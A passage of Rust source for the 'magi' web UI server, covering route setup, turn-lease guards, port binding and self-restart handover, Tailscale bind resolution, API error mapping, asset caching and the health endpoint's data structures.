1785                "/api/talks/{id}/attachments",
1786                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1787            )
1788            .route(
1789                "/api/talks/{id}/attachments/{att}",
1790                get(talk_attachment_get),
1791            )
1792            .route("/api/talks/{id}/avatar", get(talk_avatar))
1793            .route("/avatars/operator.svg", get(operator_avatar))
1794            .route(
1795                "/api/avatar-settings",
1796                get(avatar_settings_get)
1797                    .put(avatar_settings_put)
1798                    .delete(avatar_settings_delete),
1799            )
1800            .route("/avatars/persona", get(settings_persona_avatar))
1801            .route("/avatars/magi", get(magi_avatar))
1802            .route(
1803                "/api/magi-icon",
1804                get(magi_icon_get)
1805                    .put(magi_icon_put)
1806                    .delete(magi_icon_delete),
1807            )
1808            .route("/api/events", get(events))
1809            .with_state(self)
1810    }
1811}
1812
1813/// One talk's turn slot, released on drop.
1814///
1815/// A guard rather than a matching `remove` at the end of the handler, because
1816/// the handler has several early returns and one `await` that can be cancelled
1817/// out from under it. A leaked id is a talk nobody can talk to again.
1818#[derive(Debug)]
1819struct TalkTurnGuard {
1820    talk: String,
1821    turns: Arc<Mutex<TalkTurns>>,
1822    released: bool,
1823    /// The cross-process half of the slot; dropped with the guard.
1824    lease: Option<crate::talk::TurnLease>,
1825}
1826
1827/// In-memory turn ownership plus the queue generation observed by a drainer.
1828///
1829/// The generation changes only after a durable queued draft is written and its
1830/// caller finds the turn busy. That lets the loop run filesystem work outside
1831/// this mutex while still making the final empty-check/release atomic with a
1832/// concurrent queue handoff.
1833#[derive(Debug, Default)]
1834struct TalkTurns {
1835    live: HashSet<String>,
1836    queued: HashMap<String, u64>,
1837}
1838
1839/// The atomic initial-state decision made by
1840/// [`Ui::begin_talk_turn_unless_pending`].
1841enum TalkTurnStart {
1842    Claimed(TalkTurnGuard),
1843    Busy,
1844    /// Another process holds the turn lease. Unlike `Busy` there is no local
1845    /// drain loop that would answer a queued draft, so the caller refuses.
1846    Foreign,
1847    Pending,
1848}
1849
1850impl TalkTurnGuard {
1851    #[cfg(test)]
1852    /// Does this guard still own the on-disk lease? A transient failure to
1853    /// check counts as owning: the next beat decides. A guard that lost it
1854    /// must not start another turn on the same session.
1855    fn owns(&self) -> bool {
1856        self.lease
1857            .as_ref()
1858            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1859    }
1860
1861    #[cfg(test)]
1862    /// `talk::respond_at` while renewing the on-disk lease, so a turn longer
1863    /// than the lease's TTL still reads as held to other processes.
1864    async fn respond_at(
1865        &self,
1866        talk: &mut Talk,
1867        talks: &Talks,
1868        cfg: &Config,
1869        text: &str,
1870        submitted_input: Option<usize>,
1871    ) -> anyhow::Result<()> {
1872        let lease = self
1873            .lease
1874            .as_ref()
1875            .context("the turn guard no longer holds its lease")?;
1876        talk::respond_at(lease, talk, talks, cfg, text, submitted_input).await
1877    }
1878
1879    /// Release while the caller already holds the claim mutex, closing the
1880    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1881    fn release(mut self, live: &mut TalkTurns) {
1882        // The on-disk lease goes first: while `live` still names the talk, no
1883        // local claim can start, so nobody observes the slot free but the
1884        // lease held.
1885        self.lease = None;
1886        live.live.remove(&self.talk);
1887        live.queued.remove(&self.talk);
1888        self.released = true;
1889    }
1890}
1891
1892impl Drop for TalkTurnGuard {
1893    fn drop(&mut self) {
1894        if self.released {
1895            return;
1896        }
1897        // Lease first, then the in-process slot (see `release`).
1898        drop(self.lease.take());
1899        if let Ok(mut live) = self.turns.lock() {
1900            live.live.remove(&self.talk);
1901            live.queued.remove(&self.talk);
1902        }
1903    }
1904}
1905
1906/// Releases a resume claim, so a run is resumable again after the attempt.
1907struct ResumeGuard {
1908    run: String,
1909    resuming: Arc<Mutex<HashSet<String>>>,
1910}
1911
1912impl Drop for ResumeGuard {
1913    fn drop(&mut self) {
1914        if let Ok(mut live) = self.resuming.lock() {
1915            live.remove(&self.run);
1916        }
1917    }
1918}
1919
1920/// Bind the port, waiting briefly for a predecessor to let go of it.
1921///
1922/// A restart hands the address from one process to the next, and the old one
1923/// holds its listener until it unwinds. A single `bind` can lose that race,
1924/// and for a restart triggered from a phone that means the deck never comes
1925/// back with no terminal around to say why.
1926///
1927/// Bounded, and only for the one error a wait can fix: anything else fails at
1928/// once, because retrying it would turn a clear message into a silence.
1929async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1930    const WINDOW: Duration = Duration::from_secs(10);
1931    const GAP: Duration = Duration::from_millis(250);
1932
1933    let deadline = std::time::Instant::now() + WINDOW;
1934    let mut said = false;
1935    loop {
1936        match tokio::net::TcpListener::bind(socket).await {
1937            Ok(listener) => return Ok(listener),
1938            Err(e)
1939                if e.kind() == std::io::ErrorKind::AddrInUse
1940                    && std::time::Instant::now() < deadline =>
1941            {
1942                if !said {
1943                    said = true;
1944                    tracing::info!(
1945                        "{socket} is still held - waiting up to {}s for it, \
1946                         which is what a restart looks like from here",
1947                        WINDOW.as_secs()
1948                    );
1949                }
1950                tokio::time::sleep(GAP).await;
1951            }
1952            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1953        }
1954    }
1955}
1956
1957/// Signalled when an upgrade has replaced the binary and the successor should
1958/// take this address over. One per process: there is one address to hand on.
1959static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1960
1961/// Set to `1` on the successor when the loop was running at handover.
1962const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1963/// Keep a dynamically assigned listener address stable across replacement.
1964const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1965
1966/// Whether the environment value asks for the loop to be resumed.
1967fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1968    value.is_some_and(|v| v == "1")
1969}
1970
1971/// Start this binary again with the same arguments, detached.
1972///
1973/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1974/// so the address is already free when the successor binds it. The first
1975/// attempt at this spawned the successor two hundred milliseconds before
1976/// exiting instead, and the released binary - which has no bind retry - died
1977/// on "address already in use" with its stdio sent to null, so the deck
1978/// simply never came back.
1979///
1980/// Detached and without inherited stdio: the successor has to outlive this
1981/// process, and must not hold open a pipe a terminal is waiting on.
1982///
1983/// The scheduler is restarted separately; execution workers are not awaited.
1984///
1985/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1986/// than sent to null: a supervisor's redirection only ever held the first
1987/// generation's descriptors, so every later generation logged nowhere. The
1988/// pid of the child is returned so the handover log can name it.
1989fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1990    let args: Vec<String> = std::env::args().skip(1).collect();
1991    updater::log_step(
1992        home,
1993        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1994    );
1995    let log_path = home.join(WEB_LOG);
1996    let open_log = || {
1997        std::fs::create_dir_all(home)?;
1998        std::fs::OpenOptions::new()
1999            .create(true)
2000            .append(true)
2001            .open(&log_path)
2002    };
2003    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
2004        Ok(pair) => (
2005            std::process::Stdio::from(pair.0),
2006            std::process::Stdio::from(pair.1),
2007        ),
2008        Err(e) => {
2009            updater::log_warn(
2010                home,
2011                &format!(
2012                    "could not open {}: {e}; the successor logs nowhere",
2013                    log_path.display()
2014                ),
2015            );
2016            (std::process::Stdio::null(), std::process::Stdio::null())
2017        }
2018    };
2019
2020    let mut cmd = std::process::Command::new(exe);
2021    cmd.env_remove(RESUME_LOOP_ENV);
2022    cmd.env(RESTART_PORT_ENV, port.to_string());
2023    cmd.args(&args)
2024        .stdin(std::process::Stdio::null())
2025        .stdout(out)
2026        .stderr(err);
2027    #[cfg(windows)]
2028    {
2029        use std::os::windows::process::CommandExt as _;
2030        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
2031        // and Ctrl-C in the old terminal must not reach the successor.
2032        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
2033    }
2034    let child = cmd.spawn().context("start the successor")?;
2035    Ok(child.id())
2036}
2037
2038/// File under `<home>` the successor's output is appended to.
2039const WEB_LOG: &str = "web.log";
2040
2041/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
2042/// stored by an earlier `notify_one` is consumed by the first poll, so the
2043/// signal is never missed and never wakes a second time.
2044async fn wait_for_handover(signal: &Notify) {
2045    signal.notified().await;
2046}
2047
2048/// Serve the UI independently from scheduler and execution workers.
2049/// A restart releases its listener before starting the successor.
2050pub async fn serve(opts: Opts) -> Result<()> {
2051    // Capture before self-replacement: current_exe may later name a removed
2052    // image on Linux or the renamed old image on Windows.
2053    crate::worker::remember_current_executable()?;
2054    let executable = std::env::current_exe().context("find the installed web executable")?;
2055    let (addr, warning) = resolve_bind(&opts.bind);
2056    if let Some(warning) = warning {
2057        tracing::warn!("{warning}");
2058    }
2059
2060    // Process-global, and therefore set exactly once, here: the report route
2061    // must never emit escape sequences into a browser, and toggling the flag
2062    // per request would race with a concurrent request rendering its own
2063    // report. Startup is the only moment at which no request can observe the
2064    // change. Nothing in the server turns colour back on.
2065    report::set_color(false);
2066
2067    let repo = normalize_default_repo(opts.repo).await;
2068    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
2069    // The listener and periodic checker share one upgrade gate and state.
2070    let home = ui.home.clone();
2071    let admissions = Arc::clone(&ui.admissions);
2072    // Settles a progress record a predecessor left non-terminal - either this
2073    // *is* the successor `spawn_successor` started, or the previous process
2074    // died mid-handover. Before the router starts answering, so the very
2075    // first `/api/health` a phone gets from this process already reflects it.
2076    updater::reconcile_after_restart(&home);
2077    updater::log_step(
2078        &home,
2079        &format!(
2080            "web process started (version {}); handover log {}, successor output {}",
2081            env!("CARGO_PKG_VERSION"),
2082            updater::log_path(&home).display(),
2083            home.join(WEB_LOG).display()
2084        ),
2085    );
2086    updater::spawn_watchdog(home.clone());
2087    // `magi web` can stay up for days, and the one-time check `main.rs`'s
2088    // `spawn_update_check` does at startup only ever runs once: after that,
2089    // `/api/health`'s `update` field - and the phone's "Update & restart"
2090    // button, which reads the very same cache - would stay frozen on
2091    // whatever that single check found, no matter how many releases ship
2092    // afterwards. The periodic checker below keeps it current and is
2093    // cancelled when the listener finishes.
2094    let port = if opts.port == 0 {
2095        std::env::var(RESTART_PORT_ENV)
2096            .ok()
2097            .and_then(|value| value.parse::<u16>().ok())
2098            .filter(|port| *port != 0)
2099            .unwrap_or(0)
2100    } else {
2101        opts.port
2102    };
2103    let socket = SocketAddr::new(addr, port);
2104    let listener = bind_waiting(socket).await?;
2105    let bound = listener.local_addr().context("read bound web address")?;
2106    let port = bound.port();
2107    let url = format!("http://{bound}");
2108    tracing::info!(
2109        "magi web UI on {url} - there is no authentication, so anyone who can \
2110         reach this address can file and hold tasks: the tailnet is the \
2111         security boundary"
2112    );
2113    // A legacy predecessor may request first-migration scheduler startup.
2114    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2115        ui.start_detached_loop()
2116            .await
2117            .map_err(|e| anyhow::anyhow!(e.message))?;
2118    }
2119    if opts.open {
2120        // The URL alone on stdout, for a caller that wants to open it. magi
2121        // does not spawn a browser: on the machine this usually runs on there
2122        // is no display, and a failed launch would be the only output.
2123        println!("{url}");
2124    }
2125
2126    // On its own task, so nothing this function awaits can stop the address
2127    // being answered. `hand_over` is where it is given up.
2128    let recheck_ui = ui.clone();
2129    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2130    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2131    let interrupted = async {
2132        if tokio::signal::ctrl_c().await.is_err() {
2133            // No handler on this platform, so there is no signal to act on.
2134            // Never resolving is the safe answer: a failed registration must
2135            // not masquerade as the operator asking for a shutdown and take
2136            // the UI down on startup.
2137            std::future::pending::<()>().await;
2138        }
2139    };
2140    let handover = wait_for_handover(&HANDOVER);
2141    let outcome = tokio::select! {
2142        joined = &mut served => match joined {
2143            Ok(outcome) => outcome.context("serve the web UI"),
2144            Err(e) => Err(e).context("the task serving the web UI ended"),
2145        },
2146        () = interrupted => {
2147            recheck.abort();
2148            tracing::info!("shutting down the web UI; detached workers continue");
2149            close_admissions(&admissions).await;
2150            served.abort();
2151            let _ = served.await;
2152            Ok(())
2153        }
2154        () = handover => {
2155            recheck.abort();
2156            let successor_home = home.clone();
2157            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2158        }
2159    };
2160    recheck.abort();
2161    let _ = recheck.await;
2162    updater::log_step(
2163        &home,
2164        &match &outcome {
2165            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2166            Err(e) => format!("serve: returning an error: {e:#}"),
2167        },
2168    );
2169    outcome
2170}
2171
2172/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2173/// process's own working directory is not a git checkout at all - the
2174/// checkout [`repos::discover_verified`] finds instead.
2175///
2176/// Only the unmodified default is ever replaced: an operator who named a
2177/// directory outright, git checkout or not, gets exactly that directory
2178/// back, and the same story downstream (a talk whose briefing embeds a
2179/// non-git directory, and an agent that has to ask the operator where the
2180/// real repository is) that has always told them so - substituting a guess
2181/// for an explicit answer would be a second, silent opinion about what they
2182/// meant. There is no instruction or task text yet to match against this
2183/// early, so only [`repos::discover_verified`]'s own-repository tier can
2184/// ever settle this - the hint tier never fires here.
2185///
2186/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2187/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2188/// or a git installation that is broken in exactly the way that made the
2189/// original `canonical` check above fail too - so it is re-checked with
2190/// `git::toplevel` before it is ever used in place of the operator's own
2191/// directory.
2192async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2193    if repo != FsPath::new(".") {
2194        return repo;
2195    }
2196    let Ok(canonical) = repo.canonicalize() else {
2197        return repo;
2198    };
2199    if git::toplevel(&canonical).await.is_ok() {
2200        return repo;
2201    }
2202    let Some(home) = dirs::home_dir() else {
2203        return repo;
2204    };
2205    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2206        Some(found) => {
2207            tracing::info!(
2208                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2209                canonical.display(),
2210                found.path.display(),
2211                found.reason,
2212            );
2213            found.path
2214        }
2215        None => repo,
2216    }
2217}
2218
2219/// Close new ingress and finish only transactions publishing durable work.
2220/// The writer waits for owned admission guards, not task or chat turn leases.
2221async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2222    *admissions.write().await = true;
2223}
2224
2225/// Restart only the scheduler and web listener, never their execution workers.
2226/// The old listener must be fully released before the successor is started.
2227async fn hand_over(
2228    home: &FsPath,
2229    admissions: &tokio::sync::RwLock<bool>,
2230    served: tokio::task::JoinHandle<std::io::Result<()>>,
2231    successor: impl FnOnce() -> Result<u32>,
2232) -> Result<()> {
2233    close_admissions(admissions).await;
2234    if let Some(mut progress) = updater::read_progress(home) {
2235        progress.advance(updater::Stage::Restarting);
2236        progress.detail =
2237            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2238        updater::write_progress_logged(home, &progress);
2239    }
2240    updater::log_step(
2241        home,
2242        "restarting scheduler without parking execution workers",
2243    );
2244    let scheduler = daemon::restart_detached(home).await;
2245    if let Err(error) = &scheduler {
2246        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2247        updater::log_warn(
2248            home,
2249            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2250        );
2251    }
2252    updater::log_step(home, "releasing the web listener");
2253    served.abort();
2254    let _ = served.await;
2255    updater::log_step(home, "web listener released; starting the successor");
2256    match successor() {
2257        Ok(pid) => {
2258            updater::log_step(home, &format!("successor started, pid {pid}"));
2259            scheduler
2260        }
2261        Err(e) => {
2262            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2263            Err(e)
2264        }
2265    }
2266}
2267
2268/// Resolve `--bind` to an address, plus a warning when the answer is not what
2269/// the operator asked for.
2270///
2271/// Split out from [`serve`] because the interesting half - deciding whether
2272/// Tailscale gave us something usable - is testable without opening a socket.
2273pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2274    match bind {
2275        Bind::Addr(addr) => (*addr, None),
2276        Bind::Auto => match tailscale_ip() {
2277            Ok(ip) => (IpAddr::V4(ip), None),
2278            Err(why) => (
2279                IpAddr::V4(Ipv4Addr::LOCALHOST),
2280                Some(format!(
2281                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2282                     local-only and a phone cannot reach it; start Tailscale \
2283                     or pass --bind <addr>"
2284                )),
2285            ),
2286        },
2287    }
2288}
2289
2290/// This machine's Tailscale IPv4, or why there is not one.
2291///
2292/// `tailscale ip -4` is a local call against the running daemon and returns in
2293/// milliseconds, so it is fine to make it synchronously before the server
2294/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2295/// CGNAT block Tailscale assigns from, and anything else on that output would
2296/// be a different tool answering.
2297fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2298    let out = std::process::Command::new("tailscale")
2299        .args(["ip", "-4"])
2300        .quiet()
2301        .output()
2302        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2303    if !out.status.success() {
2304        let why = String::from_utf8_lossy(&out.stderr);
2305        let why = why.trim();
2306        return Err(format!(
2307            "`tailscale ip -4` failed ({}){}",
2308            out.status,
2309            if why.is_empty() {
2310                String::new()
2311            } else {
2312                format!(": {why}")
2313            }
2314        ));
2315    }
2316    String::from_utf8_lossy(&out.stdout)
2317        .lines()
2318        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2319        .find(is_tailnet)
2320        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2321}
2322
2323/// Is this address in the CGNAT block Tailscale hands out from?
2324fn is_tailnet(ip: &Ipv4Addr) -> bool {
2325    let o = ip.octets();
2326    o[0] == 100 && (64..=127).contains(&o[1])
2327}
2328
2329/// What every handler returns. Spelled out because `Result` in this crate is
2330/// `anyhow::Result`, and a handler's error is a status code as much as a
2331/// message.
2332type ApiResult<T> = std::result::Result<T, ApiError>;
2333
2334/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2335#[derive(Debug)]
2336struct ApiError {
2337    status: StatusCode,
2338    message: String,
2339    text_reason: Option<crate::question_delivery::UnavailableReason>,
2340}
2341
2342impl ApiError {
2343    /// The client asked for something malformed.
2344    fn bad_request(message: impl Into<String>) -> Self {
2345        Self {
2346            text_reason: None,
2347            status: StatusCode::BAD_REQUEST,
2348            message: message.into(),
2349        }
2350    }
2351
2352    /// No such run or task.
2353    fn not_found(message: impl Into<String>) -> Self {
2354        Self {
2355            text_reason: None,
2356            status: StatusCode::NOT_FOUND,
2357            message: message.into(),
2358        }
2359    }
2360
2361    /// Someone else owns the thing the client wants to change.
2362    /// Re-badge an error whose default mapping is wrong for this route.
2363    fn with_status(mut self, status: StatusCode) -> Self {
2364        self.status = status;
2365        self
2366    }
2367
2368    /// A rules violation from a domain type, reported as the caller's fault.
2369    /// `Question::answer` rejects an unoffered choice, and that is a bad
2370    /// request, not a server error.
2371    fn bad_request_from(e: anyhow::Error) -> Self {
2372        Self::bad_request(format!("{e:#}"))
2373    }
2374
2375    fn completion(e: anyhow::Error) -> Self {
2376        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2377            Self::conflict(format!("{e:#}"))
2378        } else {
2379            Self::bad_request_from(e)
2380        }
2381    }
2382
2383    fn conflict(message: impl Into<String>) -> Self {
2384        Self {
2385            text_reason: None,
2386            status: StatusCode::CONFLICT,
2387            message: message.into(),
2388        }
2389    }
2390
2391    /// Our fault, or the disk's.
2392    fn internal(message: impl Into<String>) -> Self {
2393        Self {
2394            text_reason: None,
2395            status: StatusCode::INTERNAL_SERVER_ERROR,
2396            message: message.into(),
2397        }
2398    }
2399}
2400
2401impl From<anyhow::Error> for ApiError {
2402    /// Errors from `queue` and `run` carry their context chain, and the whole
2403    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2404    /// value at line 3" is a message an operator can act on, and there is no
2405    /// secret in a path on a single-user tailnet.
2406    fn from(e: anyhow::Error) -> Self {
2407        Self::internal(format!("{e:#}"))
2408    }
2409}
2410
2411impl IntoResponse for ApiError {
2412    fn into_response(self) -> Response {
2413        let mut body = serde_json::json!({ "error": self.message });
2414        if let Some(reason) = self.text_reason {
2415            body["code"] = serde_json::json!("question_text_unavailable");
2416            body["reason"] = serde_json::json!(reason);
2417        }
2418        (self.status, Json(body)).into_response()
2419    }
2420}
2421
2422/// Run a handler's filesystem work off the executor.
2423///
2424/// Every route that touches the disk goes through here rather than each one
2425/// arguing about whether its own read is small enough. Uniform because the
2426/// expensive case is not rare: `run.json` for a finished competition holds
2427/// every judgement, deliberation turn and review round, so listing a few
2428/// hundred runs is megabytes of parsing, and the executor threads doing it are
2429/// the same ones serving the change stream of every other connected phone.
2430async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2431where
2432    T: Send + 'static,
2433{
2434    #[cfg(test)]
2435    let job = request_cost::carry(job);
2436    match tokio::task::spawn_blocking(job).await {
2437        Ok(result) => result,
2438        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2439    }
2440}
2441
2442/// Bulk readers have a bounded, separate execution lane. A cold health
2443/// index or multiple slow list clients cannot occupy the pool serving detail.
2444async fn bulk_blocking<T>(
2445    slots: Arc<tokio::sync::Semaphore>,
2446    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2447) -> ApiResult<T>
2448where
2449    T: Send + 'static,
2450{
2451    let permit = slots
2452        .acquire_owned()
2453        .await
2454        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2455    let (send, receive) = tokio::sync::oneshot::channel();
2456    #[cfg(test)]
2457    let job = request_cost::carry(job);
2458    let runtime = tokio::runtime::Handle::current();
2459    std::thread::Builder::new()
2460        .name("web-bulk".into())
2461        .spawn(move || {
2462            let _permit = permit;
2463            // Capacity observations schedule their independent blocking job.
2464            let _runtime = runtime.enter();
2465            let _ = send.send(job());
2466        })
2467        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2468    receive
2469        .await
2470        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2471}
2472
2473/// Cache policy for the three compiled-in front-end files.
2474///
2475/// The whole interface is `include_str!`ed into the binary, so its content
2476/// changes only when the binary does - and a phone that keeps a copy is
2477/// welcome to, right up until the deck is replaced. Without a single cache
2478/// header, browsers were free to invent their own policy, and one did:
2479/// yukimemi's phone went on showing "Candidates must be folded before
2480/// deleting. Run `magi fold` first." - a sentence deleted two releases
2481/// earlier - from a run detail served by a deck that no longer contained it.
2482/// The delete button he was told about was right there, and unreachable.
2483///
2484/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2485/// every time, the answer is a 304 costing one small round trip while the
2486/// deck is unchanged, and the moment it is replaced the tag differs and the
2487/// new interface arrives. Correctness over bytes - this is one file of a few
2488/// tens of kilobytes on a tailnet, and being a version behind is not a
2489/// cosmetic problem when the difference is whether a button exists.
2490const ASSET_CACHE: &str = "no-cache, must-revalidate";
2491
2492/// `ETag` for the compiled-in assets, distinct per build.
2493///
2494/// The version alone would leave a locally built deck - `cargo install
2495/// --path .` twice at the same version, which is the normal way to iterate -
2496/// serving a stale tag for changed bytes. The build timestamp is what makes
2497/// two builds of `0.3.0` differ.
2498fn asset_etag() -> &'static str {
2499    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2500        format!(
2501            "\"{}-{}\"",
2502            env!("CARGO_PKG_VERSION"),
2503            // Length is a cheap, deterministic stand-in for a hash: the
2504            // three files are compiled in together, so any edit to any of
2505            // them almost certainly changes the total, and a rebuild is what
2506            // this needs to track rather than every possible byte pattern.
2507            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2508        )
2509    });
2510    &TAG
2511}
2512
2513/// Headers for a compiled-in asset of `mime`.
2514fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2515    [
2516        (header::CONTENT_TYPE, mime),
2517        (header::CACHE_CONTROL, ASSET_CACHE),
2518        (header::ETAG, asset_etag()),
2519    ]
2520}
2521
2522/// Serve a compiled-in asset, answering `304` when the client already has it.
2523///
2524/// axum does not compare `If-None-Match` for us, and a header the server sets
2525/// but never honours is worse than none: the phone revalidates on every load
2526/// and is handed the whole file back each time. Doing the comparison is what
2527/// makes `must-revalidate` cost one small round trip rather than the
2528/// interface.
2529fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2530    let tag = asset_etag();
2531    let known = headers
2532        .get(header::IF_NONE_MATCH)
2533        .and_then(|v| v.to_str().ok())
2534        // A revalidating client may send several, and a proxy may weaken the
2535        // tag to `W/"..."`; matching on containment covers both without
2536        // parsing the grammar.
2537        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2538    if known {
2539        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2540    }
2541    (asset_headers(mime), body).into_response()
2542}
2543
2544async fn index(headers: header::HeaderMap) -> Response {
2545    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2546}
2547
2548async fn app_css(headers: header::HeaderMap) -> Response {
2549    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2550}
2551
2552async fn app_js(headers: header::HeaderMap) -> Response {
2553    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2554}
2555
2556/// What `/api/health` answers.
2557#[derive(Debug, Serialize)]
2558struct HealthView {
2559    version: &'static str,
2560    home: String,
2561    queue_rev: u64,
2562    runs_rev: u64,
2563    /// The same revisions [`events`] streams for the question and talk
2564    /// stores.
2565    ///
2566    /// Here because this route is what the front end falls back to when the
2567    /// change stream is not up - it re-polls health on a timer and on wake, and
2568    /// takes the revisions from the answer. Without these the fallback
2569    /// compares `undefined` against `undefined` for both stores, decides
2570    /// nothing moved, and a phone with a dead stream never learns that a
2571    /// question was asked or that a talk took a turn. `queue_rev` and
2572    /// `runs_rev` above have always been here for exactly this reason; the rule
2573    /// is that every revision the stream carries, this route carries too.
2574    questions_rev: u64,
2575    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2576    talks_rev: u64,
2577    /// See [`HealthView::questions_rev`]. The notification centre's store.
2578    notifications_rev: u64,
2579    /// Notifications nobody has read yet: the bell's badge before
2580    /// `/api/notifications` has answered.
2581    notifications_unread: usize,
2582    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2583    /// is not on disk anywhere, so a phone with no change stream has no other
2584    /// way to notice that the loop it is waiting on was started from another
2585    /// device.
2586    loop_rev: u64,
2587    /// Runs on disk whose state this build cannot parse - almost always a
2588    /// schema bump, occasionally a run killed mid-write.
2589    ///
2590    /// Reported because the list silently skips them, and "no competitions
2591    /// yet" is a lie when six of them are sitting in the runs directory. The
2592    /// terminal deck learned the same lesson: a run that fails to parse must
2593    /// not disappear from the count.
2594    runs_unreadable: usize,
2595    /// The disk, and what the runs and their worktrees occupy on it.
2596    ///
2597    /// This is the incident the janitor exists for: magi alone put 30 GB into
2598    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2599    /// is exactly where the operator learns "the disk is the constraint" -
2600    /// the diagnosis that a run is being held for want of space has to be
2601    /// checkable on the same screen.
2602    disk: Option<serde_json::Value>,
2603    /// Questions nobody has answered yet, including ones an owner talked
2604    /// back on and is now waiting for the agent's reply to. A round trip
2605    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2606    /// while the ball is in the agent's court - see
2607    /// [`crate::ask::Questions::count_open`].
2608    questions_open: usize,
2609    /// Of those, how many actually need the owner right now: open, and not
2610    /// [`crate::ask::Question::waiting_on_agent`].
2611    ///
2612    /// The one number that means "nothing will happen until a human acts" -
2613    /// a parked run consumes nothing and progresses never - and the count the
2614    /// ask bar, the nav badge and the document title fall back to before
2615    /// `/api/questions` has answered, so those notification channels clear
2616    /// the instant the owner asks back and reappear the instant the agent
2617    /// replies, instead of sitting lit for however long the agent thinks.
2618    questions_needs_owner: usize,
2619    daemon: DaemonView,
2620    /// The independently controllable scheduler, as `/api/loop` reports it.
2621    ///
2622    /// Here so a phone that has just woken needs one request to know whether
2623    /// anything is going to happen at all: `daemon` says a loop is alive
2624    /// somewhere, and this says whether it is one this UI can stop.
2625    #[serde(rename = "loop")]
2626    looping: LoopView,
2627    /// Whether a release newer than this build is known, and which.
2628    ///
2629    /// From [`updater::Checker::cached_update`] - the same throttled state the
2630    /// CLI's `notify` mode banners from - never a live check: this route is
2631    /// polled every few seconds, and a live check on each poll would spend
2632    /// GitHub's rate limit before the operator finished reading the strip.
2633    update: UpdateView,
2634    /// The self-upgrade this deck last set in motion, or `null` before the
2635    /// first one. Read off disk, so the successor can report what its
2636    /// predecessor started.
2637    upgrade: Option<UpgradeProgressView>,
2638    /// Detached jobs survive replacement of this web process. Each reports
2639    /// its own immutable executable generation rather than the web version.
2640    jobs: Vec<WorkerView>,
2641    upgrade_request_error: Option<UpgradeRequestFailure>,
2642}
2643
2644/// Public execution metadata only. Job payloads contain private configuration
2645/// and must never be returned by the health endpoint.
2646#[derive(Debug, Serialize)]
2647struct WorkerView {
2648    id: String,
2649    kind: String,
2650    key: String,
2651    pid: Option<u32>,
2652    status: crate::worker::Status,
2653    generation: String,
2654    version: Option<String>,
2655    queue_owned: bool,
2656}
2657
2658impl From<crate::worker::Job> for WorkerView {
2659    fn from(job: crate::worker::Job) -> Self {
2660        let queue_owned = job.kind == "task"
2661            && job
2662                .payload
2663                .get("standalone")
2664                .and_then(serde_json::Value::as_bool)
2665                != Some(true);
2666        Self {
2667            id: job.id,
2668            kind: job.kind,
2669            key: job.key,
2670            pid: job.pid,
2671            status: job.status,
